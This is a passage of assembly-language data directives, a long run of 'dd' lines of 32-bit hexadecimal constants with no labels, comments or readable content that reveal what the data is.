0F66FD730h, 0F84879C2h, 32F01732h dd 0EF1470BAh, 410967E8h, 8CF2927h, 5902083Fh, 0D16D7168h dd 0A6B8B61h, 7D017EC8h, 0F032EF3Dh, 91A8594Bh, 0B652AAC0h dd 8EE480F6h, 10BF284Ch, 817C0E2h, 9DD808E3h, 4457531Fh dd 0C5AC85C5h, 9F65FD4Fh, 0D9CCD1CDh, 98AF3FCh, 5E2C4762h dd 612EAE57h, 92A467Eh, 3C3CFE60h, 1096C0Eh, 0F0C25AD3h dd 7B2FD038h, 1CBAADD2h, 0E0E671h, 78DE1CC5h, 8B485E9h dd 5B886802h, 0C146405Eh dd 350802E8h, 9714C53h, 3F80C389h, 29D4210Fh, 723986C0h dd 0C1434910h, 6E9CA60Eh, 7AF37FD7h, 0E1B1E912h, 3A012A0Ah dd 231D6561h, 0AB76A07Fh, 88FF48B5h, 4807B8D3h, 0B2A77180h dd 99DC03EEh, 0B04756ADh, 84589AF8h, 0AEDD00B5h, 9D1DAD4Ch dd 0F5AFDCFCh, 76A5279Dh, 0E83208E8h, 2A65E831h, 7D31D0DCh dd 426E5BDEh, 6D2BDB8h, 5A8C23FDh, 0C521D17Eh, 56E94510h dd 16944A5Bh, 0FC7AD80Dh, 9518830h, 85F8E921h, 73F43FC6h dd 19EF355Ch, 0C6AD1422h, 0ED47A56Bh, 801C243Fh, 8839EE06h dd 2C4E5AF5h, 61AF5D4Fh, 1DD3099h, 0A159EB88h, 0F5C6D7C2h dd 0E133520h, 9A37EFB9h, 537E83EFh, 214F0157h, 60207756h dd 163BB82Ch, 4CBCD08Ah, 8363926h, 559B3D09h, 80961916h dd 75F7ED09h, 0B19F874Eh, 20DA5217h, 0EE4C78BEh, 0F509620Bh dd 9722385Eh, 25582B3h, 9D4C3E2h, 1CFF7042h, 1BBA07B1h dd 0E006AE50h, 0B62DEECAh, 80A5765Fh, 8537AD2Ah, 29BF375Dh dd 2E87BBBh, 2A43E5B1h, 2F5CD973h, 0F9A34D18h, 2D1E2CCh dd 23213F31h, 0CD3AB0ADh, 71BE2A0Dh, 78393CD4h, 0C20ECBA8h dd 0A71E7F3Dh, 0A2F76628h, 0E9A0F396h, 0E9C93BF5h, 82FCB820h dd 58B343F5h, 58106459h, 45357510h, 0FF80A02h, 760BA0E7h dd 0D6C04658h, 961BC708h, 4A0A38E9h, 9B99FF4Eh, 4E336720h dd 0B6A69126h, 101E6240h, 6809F4ABh, 2C467EA2h, 8210144h dd 0E775E9D8h, 0DE12F22Ch, 48C9BF00h, 984B5C76h, 0D980B77Ah dd 419177D1h, 0A73ECBECh, 6F02AE67h, 0BC46FE60h, 0F8014EAAh dd 0E94F87C4h, 6D8D7A15h, 0FD49946Ah, 0D1A711E5h, 8C100048h dd 0B4307C11h, 29EB3701h, 16125819h, 196AC334h, 6F543008h dd 4ADF5243h, 6272100Bh, 0C9AA6140h, 3FDD1975h, 456BBEF1h dd 0EAB9685Ch, 0BB2458Ch, 2885B003h, 0B5128075h, 0CBE80872h dd 0B3993262h, 0B2CE4CCh, 0E537A9Eh, 41C26846h, 25DCBB12h dd 0B8FF955Ah, 915094EEh, 9659983Ch, 0BC9F513Ah, 0D564AADDh dd 98166EE7h, 4E29C6B0h, 25F2E8h, 0D6CD814Dh, 5B75F018h dd 738EFD45h, 5349B302h, 7FEB89FAh, 0CE603D4Ah, 0CB092D55h dd 0C18AE9B4h, 0D3DB564Dh, 0C5F90138h, 6BCD0B10h, 0A0E825Ah dd 0EE491D50h, 6023218Ch, 79541069h, 10FD9536h, 26516625h dd 13E0B353h, 15BB091h, 2B2DF802h, 7F385A17h, 8689EC9Ah dd 4A0077D8h, 91F28142h, 0C16FC52Bh, 0AD92870Ch, 0E9C860D6h dd 2AAAEF32h, 0B91861B6h, 0A63A0FA4h, 9421172Ch, 82D5BA5Fh dd 7118B5ACh, 4EFE2BB8h, 93EB70F0h, 1D425F10h, 0E73CB768h dd 98F508FDh, 17BAB801h, 9344B954h, 2909D3BBh, 0D9EAE9B1h dd 2DAF3BFFh, 0F84EA566h, 0E2034F9Eh, 1D1905Bh, 0C2B599DCh dd 0CB2EF831h, 50375031h, 6039233Fh, 2EDA4330h, 0A70552BBh dd 5E4DE916h, 0B1F18314h, 57D2970Bh, 95200B74h, 10C4D025h dd 5EB8681Bh, 0FE3A6540h, 570612E7h, 0DB7B38E9h, 3928EB4Ah dd 8EDF5D01h, 0C9DC588Bh, 0FEFFBA41h, 1F4A3AA4h, 21A26FCBh dd 8009C984h, 0B860692Bh, 0A24A4862h, 0BB236524h, 13B25D25h dd 514FC957h, 0BD382EF8h, 0AE3202E5h, 0BDEA50F3h, 0A2FAB25Ch dd 0D48B345Ch, 0C552E421h, 0FE67A0B5h, 0ECD0CC12h, 763BC70Bh dd 78EE8108h, 403C5C3Dh, 0F561F29Ah, 0D7FD6A4Bh, 0E55A6648h dd 17FC0197h, 60BB2EE6h, 68C80F81h, 32FA6A4Fh, 99AB217Fh dd 5D09BA77h, 0F3259C4h, 0FD5D4CE1h, 799E6F16h, 3E30B658h dd 0F1026984h, 26C03438h, 75F07570h, 0B0BBFB12h, 900A2EAh dd 0D7AF8BE9h, 0F42DC4CEh, 27E0C530h, 0DFF76257h, 113556Eh dd 0CEFF59CFh, 28D34C6Eh, 940B511Eh, 87658E1Dh, 0AB92718Ch dd 0F9C977F6h, 5A8B38C3h, 81B461E4h, 0C4AB42D4h, 54106209h dd 0B1A3C56Ah, 0D18C3B23h, 2C0694ECh, 0DA07032Ch, 629EF75Bh dd 0C42AFD41h, 4AB0EF2Bh, 0C99AC15Eh, 0AD381672h, 0A0EE7CCFh dd 96AA10Bh, 286DB400h, 0EBE4E75Ah, 33DE5929h, 0ED645A25h dd 8682284Bh, 9D9ED811h, 5B7B01C4h, 0DEFE2338h, 4220BA3h dd 0D71A1669h, 61F73DB2h, 41EA1278h, 53856924h, 520BFDE9h dd 0B0E0FBC0h, 0AE47486Fh, 2977662Dh, 51C35FDDh, 0D24B782Ch dd 3094DDA7h, 1D48E530h, 0B02576C3h, 5FDCF6D2h, 0CEAAD01Fh dd 0AB3510BBh, 8C810C37h, 648E747Fh, 80098245h, 0E9A268DFh dd 30215492h, 293F2568h, 0A02513E6h, 0E0D9741Eh, 0F1808FB1h dd 0AEEDC45Eh, 0E541AA50h, 32F15802h, 40780E4Bh, 5223170Bh dd 42680251h, 590DA277h, 984D68DFh, 0CF9C2EB7h, 2DE2104Dh dd 0B5E5FA5Eh, 0C3516DEh, 0ED22F1AEh, 0E1007E60h, 0BF1F34BDh dd 4B46B062h, 5ADAF255h, 43EC91E1h, 0FF9DD79Ch, 5340C7D9h dd 261D155Ah, 9654E44h, 0EEC68FC7h, 0BF85985Fh, 0CFAB0353h dd 16680954h, 13B8DF12h, 0F484A691h, 142D2823h, 0E4090B87h dd 9F7666E3h, 43EF2113h, 1002047Eh, 0B9B86085h, 0B02426C6h dd 5F02090Fh, 0F5605BEDh, 0F28CAD5Bh, 3C286CD9h, 0D21250C3h dd 44DF5DEh, 9C3ACB3h, 0F8434AC5h, 265209FDh, 0CC5F3630h dd 71E0FD33h, 2DE32765h, 0B78358D4h, 0F0108005h, 267DBFEAh dd 3D7B24h, 5F9643D5h, 44B4D789h, 2DBA5669h, 0C966EBA2h dd 0E5EA6E0Fh, 9A444B44h, 8ABB3CC8h, 41A13A1Dh, 3506A940h dd 0F516002Ch, 0DEAD2D6Eh, 0D2B55175h, 0E9DB09D3h, 535F3C49h dd 31A53D9Ah, 96F7338Bh, 7DF3954Bh, 0C8906509h, 0EC053D8Ah dd 9160FD4Eh, 3B234146h, 28D00E02h, 7C0009EEh, 0C0C6FE9Bh dd 13B75CD0h, 6BA44AF2h, 436E4DB0h, 0FEE3A750h, 12B261DBh dd 0E57D39B9h, 0CD803E6Dh, 0BF2B522Fh, 82462161h, 17194BAAh dd 0AFD94078h, 30250427h, 0E25964E9h, 6D37EA9h, 0CFFF9B97h dd 0B7FBF2F7h, 0F3680975h, 649B5C5Dh, 0A85DD4A5h, 73761375h dd 0EE970AE2h, 0FFD102Dh, 6130C36h, 0A2F5D185h, 0CF4A3492h dd 44FF40Eh, 0F0F7C73Bh, 0C1BB15B2h, 946BE8DFh, 0A882809Eh dd 0A096A941h, 0A48DB10h, 9A6A4D12h, 0A0DD4BCEh, 0C17B489Dh dd 0D7E93DDEh, 8EAB854Ch, 22EB9806h, 4BC905DDh, 0DF687858h dd 18D02D0Ch, 0F0681E56h, 1F6A1F3Bh, 540B494Eh, 5C45F5DCh dd 0C70528AFh, 2D48B040h, 3848B52Dh, 16CF1807h, 0F657E550h dd 380C36C6h, 0E98BB74Fh, 19CCC01Bh, 7447A127h, 0A8417268h dd 0B80105ABh, 39EB1767h, 8C2507Ah, 235F0C6Bh, 0EA835ED6h dd 8FAB7102h, 0EB735CE9h, 2D025375h, 0C0A76163h, 7649EE18h dd 0F56E4E4Ch, 1C08068Bh, 205A1481h, 8982976Bh, 199C75EAh dd 853BA039h, 3E0DE92Eh, 3A8D321h, 60DA46FDh, 0CB25C705h dd 0D605F1Ah, 0D2301561h, 4573A260h, 400C4CB8h, 324AD505h dd 85E4EB0Eh, 95DEEEEh, 7CE94255h, 34D7DD42h, 48E7A02Eh dd 385A2C45h, 93060F04h, 0B850801Ch, 10D5257Fh, 53160FE6h dd 1EF4F71h, 22D30545h, 6F35E09Bh, 47EA4C03h, 1D0E5DE9h dd 0F9FD2952h, 420E0CB0h, 3109E281h, 802ABD67h, 0B8662C91h dd 88B9653h, 5E060B6Ch, 0E6C2EDC1h, 8F643914h, 0A00C0CE7h dd 2A688857h, 0F1307C4Fh, 60474AADh, 723FAA7Eh, 52BD090Bh dd 0D624248Fh, 0ABE1820Bh, 7BE04718h, 57806E12h, 1E579F58h dd 1A8224B2h, 0A8C98000h, 416F794Bh, 2B5877Dh, 5FB4DBC7h dd 21CA2F5Eh, 0B574D210h, 4499C71h, 0E4125991h, 3B1E3610h dd 7EE7125Ch, 0FA74EBE9h, 0D613EEC2h, 79256FC1h, 851CBDCFh dd 0DCFE5997h, 0BF5DE94Ah dd 6855010Fh, 4C0C5622h, 0CF56420h, 11744597h, 701B3A0Ch dd 0FD8632D8h, 177627EDh, 1E0B3E36h, 62BBB925h, 0FA21E212h dd 70C2301Ch, 4041B552h, 306E93ACh, 10C731Fh, 470A2B3Fh dd 0D6492968h, 8E025A6Ah, 0F701D776h, 4CCA2AC4h, 773C0CF1h dd 4BAEC60Ah, 0CE12E4A4h, 0B08AC10h, 0F1084CE9h, 0F168580Ch dd 1C49295Bh, 0DD67FD63h, 0DF765509h, 0AF5CBE19h, 8ADCDC61h dd 0A5E8CD26h, 5C2FB2D4h, 34204F8h, 57FC143h, 0F1858119h dd 6CB97FBDh, 0A9C2EF44h, 0E0D002F3h, 51AA061h, 2F08A1BAh dd 0C52010h, 6AE6C7C5h, 0F76F09DDh, 3F84D068h, 0C280009Fh dd 98D088D3h, 94FD272Ch, 59CAD65Eh, 0C9ED3144h, 6837C102h dd 0E38160B8h, 0CE3C80D6h, 5D3D7356h, 0B8B30B22h, 0A0DC0220h dd 626EDCD3h, 0B9003A92h, 7ADD0451h, 7945A18h, 0F012D3Ch dd 2746392Fh, 350714AEh, 6BDAA48Bh, 0DF1E89A2h, 4F0FB64h dd 0DE9ADC58h, 74E6220Bh, 6F68E176h, 0C05C6818h, 2EE856BBh dd 0F1FEBF8Bh, 0BD53FB70h, 9020F416h, 0F68101F0h, 96C4C9Ah dd 3DA96F21h, 6C4E9E3Bh, 0C05FE9B0h, 0C2212B81h, 8F258B62h dd 71D0796Bh, 705A0F5Ch, 82010FEh, 29D1EA4Bh, 0E5D633E9h dd 0A1FF2DA0h, 0DEA685Bh, 2E0FE4E2h, 3E33F786h, 28495303h dd 0ADA45945h, 0B6AC04DFh, 88BBBAD7h, 0F0B15AB1h, 71792B69h dd 466657Bh, 0ED99F63h, 0B06A8B68h, 810F4450h, 0C9F12F5Dh dd 32FFF13Ah, 0E9A85B60h, 5B9EA95Eh, 0ACAE9B24h, 4FE9B894h dd 5AE40A4Bh, 65ADBCBCh, 0DDF7B802h, 5E828BE0h, 0E1B48382h dd 0FCFA0502h, 0C101400Fh, 2DB71889h, 16FA5FE5h, 0B890B20h dd 92A011F0h, 0EA7528D7h, 65EFD7E5h, 0BAA2D4A9h, 68827AEDh dd 6974E3h, 4BEC6CCBh, 464BB38Eh, 9F56CFF7h, 0F9E5899Fh dd 948408DFh, 0EF17A026h, 0F62444BEh, 498CEF22h, 0A2994E4Ah dd 0A3A15EADh, 111D4F62h, 0E94F4573h, 6670F0B6h, 241CD295h dd 0E0DF679h, 65FDEB88h, 3FC11449h, 57589982h, 0CC0A8E48h dd 369D2097h, 0DC3C2673h, 8BB7E09Eh, 0D2CB54FEh, 764F536Eh dd 9BEF2917h, 100B13A2h, 1A1A9BE9h, 51550C25h, 35204CE3h dd 0EB8E340h, 40945CEDh, 90E6EC37h, 5F2F0283h, 8529727Ch dd 819EA8Bh, 0A17F5EB5h, 0C247A58Ah, 926F63E6h, 505A0138h dd 4EBC2054h, 0E301539Ah, 296ABF42h, 74305F8h, 0ADAAB45Fh dd 2BE17DFCh, 0DA8966BAh, 0DEA1114Ah, 0D2BEE26Bh, 28BA6421h dd 26D45B02h, 7D336862h, 7DAD25F1h, 0AC857989h, 0DFA14E2Bh dd 7400FE4Bh, 723C2550h, 6F5D0CC0h, 0A00136F1h, 98E883D6h dd 0AFEB2047h, 6D8EBB00h, 21687F27h, 0ECDD4BABh, 16B712D8h dd 8C157DF9h, 0D70BF74Dh, 0FA00565Ah, 51457972h, 0C0B05D73h dd 131F6213h, 0AE8DD505h, 20DC6BE5h, 26491A3h, 3ECD63D3h dd 71520B40h, 13D3826h, 5D52101h, 7DF9E97Ch, 0C964BC57h dd 0EA8087E8h, 7BE6E92h, 0C200849Ch, 8006F469h, 99D9252h dd 1BBB4554h, 2E071528h, 0DAFD5248h, 20681676h, 0C533CD38h dd 0B9C92AE5h, 1B9FEC3Ah, 12D126BFh, 95BC7522h, 0BC94EFE5h dd 44FFDFAh, 1B3429C7h, 840F8F9h, 0E92A5E68h, 8B21104Dh dd 8658EE4Bh, 9A3363Ah, 0CE093739h, 1CA9D277h, 0D7D5F766h dd 7D49A045h, 0ED0A1C61h, 158F2024h, 0AAF38C15h, 0A212E51Bh dd 840F93Fh, 4F1FCB58h, 7AC8CF41h, 7D311A16h, 0C00023CDh dd 0F0B507E7h, 31043898h, 122CF81Dh, 0BC91C85Bh, 84EC754Dh dd 491DCE50h, 2580F454h, 64E26857h, 0C20C0A28h, 0BBBF73Fh dd 0A0D148F0h, 0B9F508Eh, 2AD79576h, 6B10ACAFh, 84E9B85Fh dd 28BE43F2h, 0BA648A33h, 64541C71h, 0B306484h, 73A08140h dd 33609E2Ah, 689340A3h, 54291D2Fh, 0DDBB61B5h, 0AC472E71h dd 0DCA918B6h, 980C08FEh, 0FED6010Fh, 101BF80Dh, 0B964336h dd 0DEC837BFh, 2080810Dh, 49B4FAE1h, 592765A4h, 0E7812EFCh dd 402415B5h, 79DF13Ah, 700B0093h, 6105B949h, 311E1176h dd 40AFD9BEh, 8A96A30Fh, 0EE4EA876h, 7490D97h, 569BE615h dd 3524087h, 34C14AD4h, 1CEB3B1Eh, 1321E931h, 6EBE9410h dd 0A34056Bh, 0AE06EEC1h, 0D756EF82h, 5E4C1C6Eh, 35810440h dd 188369C4h, 5600949Ch, 445180BEh, 95EC224Fh, 3530AF5Fh dd 3E6A28EEh, 0C7F2B0Ah, 595E5D94h, 0EA3D6E24h, 49BC4BB9h dd 7029EE5Fh, 2EABC92Ah, 88C518ACh, 1DCAAA1Dh, 88998D16h dd 0F813D62Eh, 0F5094B9Fh, 77A665Eh, 3DFB951h, 3E8D5A6Eh dd 1F2A4D82h, 0E475D1F7h, 0B21209C6h, 10D7EE79h, 93F3974h dd 0D6E92A17h, 0DC25FA76h, 0F401EB2Ch, 40775A7Fh, 2DF8ED83h dd 343A0139h, 81A1CF5h, 0E914011Ch, 893ECC63h, 68B82AB3h dd 16425819h, 55812EACh, 27ADA937h, 0EEA8AAFCh, 6845471Bh dd 6D18C0F2h, 3678B75Ch, 933F6B5h, 5541D7E9h, 47F22F05h dd 1658352Dh, 492C79B5h, 0EA977004h, 0FFD23DE2h, 0E909BC2Eh dd 0EED7F161h, 9AB91F3h, 94DF5A49h, 0D605169Ah, 656B1D43h dd 0DEE609D7h, 700E080Ah, 604ED632h, 9217B85h, 0EAD158C2h dd 0D0329B7Dh, 3F4C395Dh, 0DF4C896Bh, 0E3A71F30h, 51583210h dd 87851365h, 0F95BA0B2h, 2921053h, 0CEF68101h, 201E2344h dd 4712762Fh, 524BEA15h, 4043D150h, 0C03D1868h, 0E136748h dd 0A91C27E9h, 0C1304302h, 3D34BBFBh, 0E7704FACh, 16631503h dd 79B90226h, 0C00B201Dh, 5872A528h, 0EA01908Ch, 2B5935ADh dd 0F12E6421h, 0D4AB214h, 65C907DFh, 0C289C83Ch, 46DE4A9h dd 0A1C46C59h, 5805A501h, 680553B3h, 7F8C780Ah, 8F36E4FEh dd 0E732513Fh, 72068B0Ch, 0CDEB0564h, 0FF351588h, 4CFCCA0h dd 28D75E68h, 0BE66C047h, 21612D32h, 0FB6CE31Ah, 8D0C26FFh dd 176122Fh, 0EBF29833h, 72D29EDBh, 294A439Fh, 820DEFAh dd 945E5F25h, 0BF6D9030h, 9CDF0709h, 5734405Ch, 2F7FA7AAh dd 0DC1524ECh, 1BC9E7ACh, 8D6D715Fh, 815715D9h, 1E4F8720h dd 56242912h, 7422599Ah, 5E326485h, 53BE133Ch, 3A8AABA3h dd 0BD34DC12h, 12127573h, 5FFF6B97h, 74320496h, 500BF4Bh dd 0BA06D8D9h, 5DE80031h, 0F03AB40Dh, 0BB0B2D1Bh, 495BF27Ah dd 7DCE8134h, 589FF34Eh, 1AB902FFh, 415FD312h, 0F8FEFD80h dd 0CC71568h, 7B66669Bh, 50F1071Ah, 0C48ACFC3h, 0C0C7B03Fh dd 2C4435EDh, 79AA5BAAh, 125729DFh, 0EB953FA3h, 70CBA1EEh dd 0BBAA6D98h, 426BC261h, 694097C7h, 0B92006C1h, 76031323h dd 40E5C0F2h, 607C0B47h, 0D7AAFBF3h, 0B5E18D8Fh, 3A6CAFBAh dd 0F6069391h, 2ED2FB04h, 0BFC95EEDh, 2F41692Dh, 81B83E5Ah dd 0EF25B8C5h, 56C82B44h, 7B09680Bh, 0BCFAEC64h, 0C51BEA62h dd 84FCD10Ch, 0D04E27C3h, 6540C076h, 89C1324Ah, 2ABB4333h dd 61C4E0C1h, 2249F296h, 5F1020DBh, 0D1EB4D18h, 7E3469C4h dd 853BCBAFh, 0E2AA5951h, 37E993B3h, 1ECAB980h, 6AB0390Bh dd 0B1304B7Eh, 0BCEF0C79h, 114D5C43h, 5B0CF64Ah, 73B761BAh dd 70AC748Ah, 481DEF41h, 144B96Bh, 7EC58718h, 8A60D529h dd 0DE719D05h, 29896BCh, 51DCFAD0h, 0C0685A4Eh, 0B7BFD9Fh dd 2F97D4B7h, 0E970047Eh, 0FC754FCBh, 0C204D6A0h, 752790F3h dd 135D5E7h, 0BF0C4F6Ch, 787C707Fh, 45D55410h, 3B99E43Dh dd 325954BEh, 2CE9CFE0h, 0BC34713h, 69C8171Bh, 7B08B309h dd 0AA0C3008h, 85B5633h, 456EE0F8h, 0E353FE12h, 6165391Fh dd 0FBD658CCh, 0C97BFFBh dd 5D2E395h, 0D47DA463h, 933FF7BAh, 9C9A6693h, 343B7E18h dd 6AF0CA4Ah, 0E8DD8A9Bh, 4DF5388Eh, 0BAD395FEh, 0CF6C1014h dd 6D622157h, 7D855872h, 212947E9h, 6116BA84h, 40346284h dd 74BD5808h, 9726AD9h, 41D141A0h, 0E016A7BCh, 5AF93171h dd 2453AE5Fh, 4C70A7BBh, 551A06EBh, 0BD81D66h, 5CD922CCh dd 0DB806154h, 96F865Eh, 0D5F07F8h, 40412047h, 1880A505h dd 3E85C05Fh, 67428FFEh, 8BFF2B54h, 7D31D72Eh, 7F17A730h dd 5C4A14E4h, 0EF15BBE2h, 0B74A3EDh, 2EA966CAh, 4E76BC8Bh dd 91355983h, 0E20C094Eh, 0EAD51963h, 0C080D65h, 74C01417h dd 3946FC14h, 0E75C3CE9h, 0F791EBD2h, 8000EF9Eh, 6C3CDECh dd 0C7C4FE10h, 0A8EA5124h, 2CE84A7Eh, 0C34B28ACh, 0E9BBC8BFh dd 5E2C6027h, 0CCF5DAF0h, 66DE20DCh, 14D62927h, 21E91B9Ch dd 0CB8020A0h, 0FD953059h, 1A04C3A0h, 0D701CE9h, 5881F4B5h dd 0E6B321FBh, 0DDE9F642h, 0FA3C9966h, 9AA9234h, 0C3C678A8h dd 0EB074330h, 778923CBh, 17EE666Fh, 0D0017C5Eh, 1C68081Ch dd 0CF452714h, 13014328h, 0E926884Fh, 6DAA5EFDh, 6FE4F221h dd 13E76FFCh, 0E8D3D409h, 6BB45ABDh, 6D8509EFh, 0B883379Ah dd 0C2E4F703h, 800B11A8h, 8F02C8CAh, 4485818h, 18D78277h dd 81F501C3h, 0C7856F5Eh, 0FD4CD0A9h, 0C8578217h, 0F6515118h dd 425DFAC9h, 648D5C7Dh, 4BC1FEA5h, 1093E5C1h, 5942BA40h dd 60F63FCEh, 941C93F4h, 2A1451F2h, 0CA16598Eh, 5233C83Ah dd 69407CB8h, 71DB9856h, 1B7F3E5Ah, 218D3916h, 5F2F7B6h dd 0B857C4EFh, 0D8767A1Ah, 0B6F93D09h, 1FF25D02h, 52DC0B01h dd 0E14E964h, 9FDBF37Ah, 93E11792h, 9B8A960h, 8937576Eh dd 31D1C807h, 6C22E94Fh, 0C7800764h, 7E6B3061h, 44806904h dd 4DA56DA6h, 0FC8EE918h, 6ECB02Ch, 0E8C0D8F6h, 84C0602h dd 3FC4166Bh, 0B56E9BA5h, 0AC97EC8Ah, 0B43E9197h, 1907E8C1h dd 0FCF5600h, 0A3BDB2E9h, 0C125F11Bh, 0E733619Fh, 0F2283778h dd 1BCBE07Ah, 35017405h, 153C0899h, 882FC309h, 7AB854DDh dd 5CF600E7h, 6E016824h, 0EB100BC2h, 81B4E6DDh, 8800ABBAh dd 0D22E68D8h, 466F3E64h, 0FE1A50C3h, 37E913C6h, 9C44A55Fh dd 0E8491FAAh, 0D4A45D18h, 49CE834h, 0D5885DB2h, 7A4F81ABh dd 28FD2AD8h, 1E1708D2h, 8545FF25h, 3F1B933Fh, 0F92739BEh dd 12942856h, 0F3C0EA83h, 7E546564h, 0F36E2915h, 0D83F02A5h dd 57097EA1h, 0FBFD01E2h, 458269D2h, 9FAA43E7h, 5AE6087Ch dd 4A40D527h, 0FE5FEAFDh, 869895B2h, 93030BCCh, 6CFA0D51h dd 8553A7D3h, 7F268A69h, 0B1A0428Fh, 354A5A25h, 0FFB7FB04h dd 84AE294Fh, 2FEAA9FBh, 26CDF2C2h, 27CE685Bh, 6FB40359h dd 6CD09309h, 0E55D2D1Fh, 0B67F10C4h, 0E3054082h, 0B7408246h dd 925A2CD8h, 682691B8h, 8D320BFh, 821EE956h, 0E58BB43Ah dd 5CCD9601h, 486D7648h, 24600841h, 0AD544041h, 0EA9FC1F8h dd 447F40BFh, 0C02D81FEh, 934B9EF9h, 0DAF74804h, 0E04DB5EAh dd 0A55D2CB6h, 0CEFC1085h, 77C65E25h, 0B57F5CA0h, 41027CB7h dd 60B0505Ah, 325BF119h, 1E84F2FDh, 0D5E3A98Ch, 51E84B67h dd 1E4282F4h, 0FC181C5Dh, 98249DEDh, 0E336C4E0h, 0CF010983h dd 636ADF55h, 6540F56Ah, 8B16641h, 0D9F1A2AFh, 408C89F1h dd 0B8FD294Eh, 47D30215h, 0CFE966A5h, 56921CF4h, 0BBB41AEDh dd 102DE5A3h, 0B85A6D00h, 0FC05F7F4h, 0BE565185h, 0C0DF58C2h dd 80AB9B86h, 2F12CB68h, 8CAC1C97h, 8EC0FED7h, 9AF842E9h dd 673D7771h, 0D35BEF50h, 674AC6F6h, 9EC553EBh, 0DFE90CEFh dd 9F5941E8h, 5A1A6CC4h, 0FD250105h, 18859948h, 412048Bh dd 8C6E6F68h, 70D6837Ch, 15558EFAh, 39ACF016h, 0CDFE4BC3h dd 90A26F37h, 0EBC1AAD3h, 0A18C69E5h, 15A4CF21h, 0F526899Dh dd 0E918333Eh, 683D833Ah, 0B52970DFh, 9E62C95Eh, 70737796h dd 52B7D425h, 6862E8DEh, 8392F1DCh, 0E580E6B5h, 6EDC0F8h dd 34208590h, 75E195E7h, 6890EB53h, 0C92F733Bh, 0B4F98057h dd 0BF3C4A1Eh, 0C173D858h, 89EB024Ah, 246C60B5h, 6DFD504h dd 10C2DA89h, 94540B49h, 0EA2DD880h, 0C0F9C46Dh, 664B0AFEh dd 0F60E817Fh, 14CD4E08h, 0A15217A0h, 0C750B0B2h, 1E679F13h dd 7D5AD109h, 473C3039h, 60CEA296h, 0DE25EDE5h, 0E842E143h dd 7FA83EFEh, 86E2E3A7h, 0D9B8404Eh, 0AA107B13h, 54041E62h dd 0ADCE3CBDh, 0C3EACE3Ah, 9070166h, 0F56440Ch, 0DB944E0Fh dd 0CA00841h, 4B26BA14h, 7F57AAB5h, 590B3DECh, 0E504CE29h dd 0A3B80EC4h, 0D2766E01h, 779E4A9Ch, 2525DD9h, 7C20A66Bh dd 0E6757298h, 0BF2090B4h, 9F9254D4h, 90FA7984h, 0F9702D0Dh dd 40B53D4Eh, 780673E1h, 0E70EA702h, 60FA89BBh, 9B1A14E6h dd 0D7EB0C7Ch, 3B0BF12Dh, 24270D92h, 121231A4h, 2530B167h dd 0E10B2E7Bh, 84917ECDh, 0AB311DB8h, 0E09EA16h, 0D189A3DBh dd 0B49C3CEDh, 137E0B2Eh, 5C4DAE3Dh, 0FC6FD0C5h, 92D85A4Ch dd 1EE482Eh, 0A99F0502h, 29CAD5E1h, 486F7980h, 504C3C32h dd 3FC520E6h, 929640BEh, 0F607B072h, 0BF5A4340h, 55412E54h dd 0FF2BFEF9h, 883D7D31h, 0C0559702h, 283BF5A0h, 0FE95B6B5h dd 8C934E6Fh, 7ABA6A1Bh, 0BDD35A5Ah, 9BEAE420h, 0D2310BBAh dd 0AF725151h, 16421CDCh, 541EA478h, 8404ACEBh, 45E8305Eh dd 614990C5h, 29C6F0D9h, 0FA5DCBD1h, 0B8DA2065h, 0F7090ED3h dd 2E835001h, 0EBBF5F54h, 0E8AD4704h, 0C4615BF0h, 0BE05DEC9h dd 0CAFE713Ch, 188B9C8Ah, 54685EE6h, 0DD91E295h, 264D071h dd 857B9CB1h, 0B4B8584h, 82513C22h, 828EC46Ch, 9739D3C1h dd 0B6C33163h, 0C0AEC0C2h, 232D054Eh, 0C24B5703h, 7810592h dd 34E4E95Ah, 0F8BA58D5h, 0D49AE0F2h, 8C9C6EF3h, 1A2E693Ch dd 0E860EDFh, 0EB3063F5h, 7D11FA59h, 14C67082h, 94EACE57h dd 2D615087h, 0BC6BBD81h, 0E84B7107h, 53EA75E4h, 0EC4BB637h dd 4F1A2226h, 0F29FB5Ah, 0C535D60Dh, 2AADEE2Ch, 2468248Ch dd 0C41E6303h, 89ECBB7Dh, 8577C7C5h, 0BFDDC0ACh, 0EC4B5F26h dd 0D31FDAECh, 0E0E1875h, 617FAAF7h, 0AE94209h, 9555200Ch dd 0A031EC4Ch, 0B55CB5B9h, 0A4877891h, 6C2350AEh, 207C6EAFh dd 0F7981A20h, 0A553C35Ah, 77F6060Bh, 0B2EBBC38h, 520C1F05h dd 5A93D301h, 0C129B87Fh, 0A8054BEEh, 462001D6h, 37E91726h dd 771E5DB9h, 0E5120940h, 56FC4270h, 56F6024Bh, 41003248h dd 4D2A5946h, 0FFB46CE9h, 35BB240h, 215A5A48h, 9CA45966h dd 8E5C3AA3h, 0EDCA28FFh, 6BB08D3h, 1481426Ch, 17F07218h dd 2FAEF862h, 0A77E8EEFh, 3D27FE2Dh, 1816BABFh, 2584EB09h dd 2D6161BBh, 7FB5DD82h, 88052A82h, 0BC3D8107h, 0E9388409h dd 6591EE4Ah, 0E770873Ch, 0D0E4499Ah, 0F335B812h, 61981061h dd 7F2EC95Bh, 2EADAAECh, 0E913C5DBh, 2AAAB1A0h, 8A125A8Fh dd 0BCF2F48Bh, 0A6562631h, 213A9BDEh, 6C1B3D04h, 8E05925Bh dd 6FB4D328h, 1E2139A2h, 84064A48h, 0C3AC125h, 7B237C0Bh dd 837A004Dh, 9062FD21h, 0CBB01F63h, 82DC6F63h, 0C0EAC10Bh dd 0B4A3451h, 6BE90E44h, 2916F8D0h, 18A5EF1h, 68505500h dd 65F21CA8h, 0DBED585Fh, 42761402h, 2020969h, 618D586h dd 4A1D552Dh, 0A73F4CC8h, 0BD298757h, 7B141B30h, 84649589h dd 3970EEB0h, 252FABCh, 0F11A8E8Fh, 30680E0Eh, 0CE330D46h dd 5304E713h, 5CCEA70Bh dd 0F2FC2D3Bh, 0D3586FC2h, 2DBD2626h, 38B17BF4h, 0CE2A91C9h dd 665007BCh, 0BB315355h, 0E0DE0E58h, 2A685BADh, 2DE8275Ch dd 1E5B81B2h, 1FB85097h, 404DDCC5h, 18B951F9h, 134E4A60h dd 0BB5850BDh, 0DBA3A074h, 29099F36h, 123F295Eh, 5E47FA65h dd 69621DD7h, 7F29635Dh, 0BD7E2E04h, 9C3B4172h, 6822CA8Eh dd 6EEC57A6h, 410A30Ch, 0B7B1F03Fh, 0F1757E89h, 9655CB9Ch dd 4434495Ah, 44036212h, 0BF5FF815h, 4E3D5EC7h, 79A8EC6Ah dd 0B7ED6633h, 0EA2E5B0Dh, 60449D28h, 58E5BDB2h, 5D7B1F63h dd 